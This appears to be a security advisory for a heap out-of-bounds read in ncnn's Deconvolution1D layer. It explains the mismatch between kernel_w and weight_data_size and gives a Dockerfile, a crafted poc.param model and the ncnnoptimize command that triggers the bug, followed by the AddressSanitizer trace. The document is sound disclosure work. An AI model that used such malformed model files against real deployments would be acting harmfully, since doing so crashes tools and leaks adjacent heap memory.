Heap Out-of-Bounds Read in Deconvolution1D

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolution1d.cpp:91 in deconvolution1d
Sanitizer verdict: heap-buffer-overflow

Summary

Deconvolution1D sizes its weight allocation from the weight_data_size field of the .param file but indexes it using the separately declared kernel_w. A model that declares a 25-tap kernel and a single weight makes ncnnoptimize read 25 floats out of a one-float buffer during shape inference, aborting the tool and folding adjacent heap contents into the computed output. The entry point is ncnnoptimize <param> <bin> ...; the weight blob does not even have to exist, because the null reader path still allocates the declared size.

Detail

Deconvolution1D::load_param() reads kernel_w = pd.get(1, 0) and weight_data_size = pd.get(6, 0) as two unrelated integers, and load_model() allocates purely from the latter. The forward helper then walks the buffer with a stride derived from kernel_w and the input height, with no relation to the number of weights that were actually loaded.

// src/layer/deconvolution1d.cpp:46
    weight_data = mb.load(weight_data_size, 0);
    if (weight_data.empty())
        return -100;

// src/layer/deconvolution1d.cpp:83
            const float* kptr = (const float*)weight_data + kernel_w * h * p;

            for (int q = 0; q < h; q++)
            {
                const float val = bottom_blob.row(q)[j];

                for (int k = 0; k < kernel_w; k++)
                {
                    float w = kptr[k];
                    outptr[k * dilation_w] += val * w;
                }

The PoC declares Deconvolution1D deconv 0=1 1=25 2=1 3=1 4=0 5=0 6=1: num_output = 1, kernel_w = 25, weight_data_size = 1. mb.load(1, 0) creates a one-element Mat, whose backing block is the 84-byte region ASan names (cstep is rounded up to 16 bytes of payload, plus the 4-byte refcount and the fixed 64-byte NCNN_MALLOC_OVERREAD).

At forward time the 1-element input (Input input 0=1) gives h = 1 and p = 0, so kptr is the base of weight_data and the inner loop reads kptr[0] through kptr[24], i.e. 100 bytes. The first index that leaves the allocation is kptr[21] at byte offset 84 — precisely the READ of size 4 ... 0 bytes after 84-byte region in the report. Deconvolution1D::forward validates neither kernel_w * h * num_output <= weight_data_size nor the loop bound against weight_data.w.

Reproduce

mkdir -p ncnn-poc-heap-out-of-bounds-read-in-deconvolution1d && cd ncnn-poc-heap-out-of-bounds-read-in-deconvolution1d

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input input 0 1 data 0=1
Deconvolution1D deconv 1 1 data out 0=1 1=25 2=1 3=1 4=0 5=0 6=1
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x56c6d628b175 bp 0x7ffda1ff7540 sp 0x7ffda1ff7530
READ of size 4 at 0x50e000000094 thread T0
    #0 0x56c6d628b174 in deconvolution1d /ncnn/src/layer/deconvolution1d.cpp:91
    #1 0x56c6d628d80a in ncnn::Deconvolution1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolution1d.cpp:134
    #2 0x56c6cd7e0f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x56c6cd7d2b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x56c6cd8329e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x56c6cd6c43c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x56c6cd741eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x74780c2761c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x74780c27628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x56c6cd6c1624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x74780c8eff1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x56c6cd790bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x56c6cd790bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x56c6cd7c3381 in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:273
    #4 0x56c6d628744d in ncnn::Deconvolution1D::load_model(ncnn::ModelBin const&) /ncnn/src/layer/deconvolution1d.cpp:46
    #5 0x56c6cd82da84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #6 0x56c6cd741c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #7 0x74780c2761c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x74780c27628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x56c6cd6c1624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/deconvolution1d.cpp:91 in deconvolution1d

Credit

Zheng Yu @ DepthFirst